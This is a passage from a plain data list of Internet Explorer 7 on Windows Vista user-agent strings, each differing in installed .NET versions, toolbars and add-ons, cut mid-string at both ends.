MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.1; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; .NET CLR 3.5.21022; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Zune 3.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; FDM; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Seekmo 10.0.406.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6.3; FBSMTWB; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6.4; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6.4; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; eSobiSubscriber 2.0.4.16; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6.6; KKMAN3.2; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6.6; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6.6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 3.0.30729; .NET CLR 1.1.4322; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6.6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.3; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; KKman3.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; .NET CLR 3.5.21022; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; Maxthon; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.0.30618; .NET CLR 1.1.4322; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.1; Zune 2.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.1; Zune 3.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; AskTB5.3)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Dealio Toolbar 3.4; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 1.1.4322; Dealio Toolbar 3.4)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; Zune 2.5; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; Lunascape 5.0.5.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Zune 3.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB7.1; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MS-RTC EA 2; AskTbORJ/5.13.1.18107)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB7.3; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB7.3; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB7.4; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; AskTbORJ/5.15.15.36191)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; InfoPath.1; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; KKman3.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; KKman3.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; KKman3.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; KKman3.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; KKman3.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; KKman3.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; KKman3.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MathPlayer 2.10b; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Tablet PC 2.0; .NET CLR 1.1.4322; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MathPlayer 2.10d; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MathPlayer 2.10d; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MathPlayer 2.10d; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Maxthon; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Maxthon; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Avant Browser; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; KKman3.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; MEGAUPLOAD 2.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Maxthon; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Tablet PC 2.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.1; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; Zango 10.3.65.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; FDM; .NET CLR 3.5.21022; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 3.5.21022; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Tablet PC 2.0; Lunascape 5.0 alpha2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Zango 10.3.75.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.0.04506; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Seekmo 10.0.406.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1); SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; QQPinyin 686; QQDownload 661; GTB6.6; TencentTraveler 4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.30729; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; MS-RTC LM 8; .NET CLR 3.5.20706; .NET CLR 3.0.590)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; Zune 3.0; MS-RTC LM 8; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 3.5.21022; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 1.1.4322; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 3.5.21022; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 3.5.21022; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Tablet PC 2.0; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Tablet PC 2.0; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Tablet PC 2.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Zango 10.3.35.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Zango 10.3.37.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Zango 10.3.74.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.2; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.0.04506; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2; .NET4.0C; AskTB5.6)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; yie8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.30428; .NET CLR 3.0.30422)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; MS-RTC LM 8; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; .NET4.0E; InfoPath.3; TheWorld)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Sleipnir/2.8.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Zango 10.3.75.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C; AskTB5.6)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Lunascape 5.0.3.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Zune 3.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506; .NET CLR 3.5.21022; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506; .NET CLR 3.5.21022; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.30618; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; 